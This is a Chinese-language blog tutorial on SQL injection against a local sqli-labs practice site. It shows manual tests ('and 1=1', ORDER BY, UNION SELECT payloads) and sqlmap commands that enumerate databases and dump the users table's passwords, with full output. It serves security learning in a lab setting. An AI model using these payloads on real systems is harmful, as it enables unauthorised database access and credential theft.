How to do sql injections with SQLMAP
--------书写只是为了更好的思考
By:PgHook
0x1 前面的废话
0x2 传统的手工
第一步、判断是否存在注入点
第二步、得到数据库的消息
0x3、sqlmap 传统用法
1、枚举数据库
2、列出数据库中数据表
3、列出users表中字段
4、得到字段里面的内容
0x4、sqlmap高级的用法(呵呵!其实也不怎么高级啦)
0x1 前面的废话
好无聊啊!好久没有在博客上发表文字了,都快废了。我还是鼓起勇气,写篇扫盲吧!
呵呵!很久没写博客了,只是为了让博客继续下去,大牛绕道啊!关键看后面啊!前面
是自己的总结。
0x2 传统的手工
目标是http://testphp.vulnweb.com/listproducts.php?cat=1
专门供测试学习用的,我这里不用这个了,访问速度太慢了。
我用的是sqli-labs-master网上有源码,大家可以去下载下来。
它也是专门供测试人员学习用的。
这个是我的目标:http://192.168.2.214/sqli-labs-master/Less-2/?id=1
第一步、判断是否存在注入点 废话部分
方法一、‘
一般都是在url后面加个’(http://192.168.2.214/sqli-labs-master/Less-2/?id=1’),让sql语句出错,那么页面就会提示出错信息。这个时候我们就可以判断这里存在注入。
当然还有可能你加了’,和没加是一样的,这也有可能是注入。因为当把错误提示关闭时,它是不会再页面显示的,这个时候我们就需要用到第二种方法了。
方法二、and 1=1/2
如下:
http://192.168.2.214/sqli-labs-master/Less-2/?id=1and 1=1
http://192.168.2.214/sqli-labs-master/Less-2/?id=1and 1=2
如果第一个页面显示和原来一样,第二个页面和原来不一样就说明存在注入了。
实战部分:
http://192.168.2.214/sqli-labs-master/Less-2/?id=1’
提交上去报错了
Youhave an error in your SQL syntax; check the manual that corresponds to yourMySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
报错了。
第二步、得到数据库的信息
1、猜解字段数目
这里要用到order by语句了,很多人都知道order by 猜解字段数目用的。
在sql语言中order by 是排序用的,它可以根据你表里面的字段来排序(默认
是升序,当然你也可以用DESC关键字进行降序排列)。
在猜解的时候order by x后面我们都是接的数字。你知道那个数字x是什么意思么??
意思根据第x歌字段的长度(大小)来排序。
如果我只有3个字段,你在orderby 后面加个4,成了order by 4
那你说会怎么样了??毫无疑问,肯定要报错啦!这样我们就猜出来了
字段的数目了
http://192.168.2.214/sqli-labs-master/Less-2/?id=1order by x
这里这个x是一个数字,如果输入x页面报错,x-1页面正常。
那说明有x-1个字段
我这里输入4的时候报错了http://192.168.2.214/sqli-labs-master/Less-2/?id=1order by 4
Unknowncolumn '4' in 'order clause'
输入3时,页面正常。那说明字段是3啦!
2、使用联合查询获取敏感信息
这里使用到的是union操作符,它用于合并两个或多个select语句的结果集。
注意:union内部的select语句必须拥有相同数量的字段。字段也必须有相同的数据
类型。
上面我们已经知道字段数目,就开始吧!
实战
http://192.168.2.214/sqli-labs-master/Less-2/?id=1and 1=2 union select 1,2,3
Welcome Dhakkan
Your Login name:2
Your Password:3
http://192.168.2.214/sqli-labs-master/Less-2/?id=1and 1=2 union select 1,user(),version()
Welcome Dhakkan
Your Login name:root@localhost
Your Password:5.0.51a-3ubuntu5
A1、猜解表名
and 1=2 and exists(select * from 表名)
http://192.168.2.214/sqli-labs-master/Less-2/?id=1and 1=2 and exists(select * from admin)
Welcome Dhakkan
Table 'security.admin' doesn't exist
看见没这个table不存在。
http://192.168.2.214/sqli-labs-master/Less-2/?id=1and 1=2 and exists(select * from users)
Welcome Dhakkan
Your Login name:Dumb
Your Password:Dumb
页面正常,说明存在该表。
A2、猜解字段
and 1=2 and exists(select 字段名from 表名)
http://192.168.2.214/sqli-labs-master/Less-2/?id=1and exists(select user from users)
Welcome Dhakkan
Unknown column 'user' in 'field list'
http://192.168.2.214/sqli-labs-master/Less-2/?id=1and exists(select username from users)
Welcome Dhakkan
Your Login name:Dumb
Your Password:Dumb
页面正常,说明存在该字段
这里我就不一一试了,得到了username。
A3、使用union得到数据
http://192.168.2.214/sqli-labs-master/Less-2/?id=1and 2=1 union select 1,password,3 from users
Welcome Dhakkan
Your Login name:Dumb
Your Password:3
0x3、sqlmap 传统用法1、枚举数据库
python sqlmap.py -uhttp://192.168.2.214/sqli-labs-master/Less-2/?id=1 --dbs
available databases [14]:
[*] information_schema
[*] metasploit
[*] my_db
[*] mysql
[*] owasp10
[*] security
2、列出数据库中数据表
python sqlmap.py -u http://192.168.2.214/sqli-labs-master/Less-2/?id=1–D security --tables
Database: security
[4 tables]
+----------+
| emails |
| referers |
| uagents |
| users |
+----------+
3、列出users表中字段
python sqlmap.py -u http://192.168.2.214/sqli-labs-master/Less-2/?id=1-D security -T users –columns
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(3) |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+
4、得到字段里面的内容
python sqlmap.py -u http://192.168.2.214/sqli-labs-master/Less-2/?id=1-D security -T users -C id,password,username –dump
Database: security
Table: users
[13 entries]
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
当然这上面写的应该是比较规矩的做法,当然你也可以有不规矩的做法啦!
0x4、sqlmap高级的用法(呵呵!其实也不怎么高级啦)
python sqlmap.py -c sqlmap.conf –dbs
available databases [14]:
[*] bWAPP
[*] dvwa
[*] exercises
[*] hehe
[*] heihei
[*] information_schema
[*] metasploit
[*] my_db
[*] mysql
[*] owasp10
[*] security
[*] sqlol
[*] tikiwiki
[*] tikiwiki195
这里其实就是利用sqlmap里面的sqlmap.conf文件,
在这个文件中你可以添加参数,这是个很有内涵的文件,里面的奥秘期待你来揭开。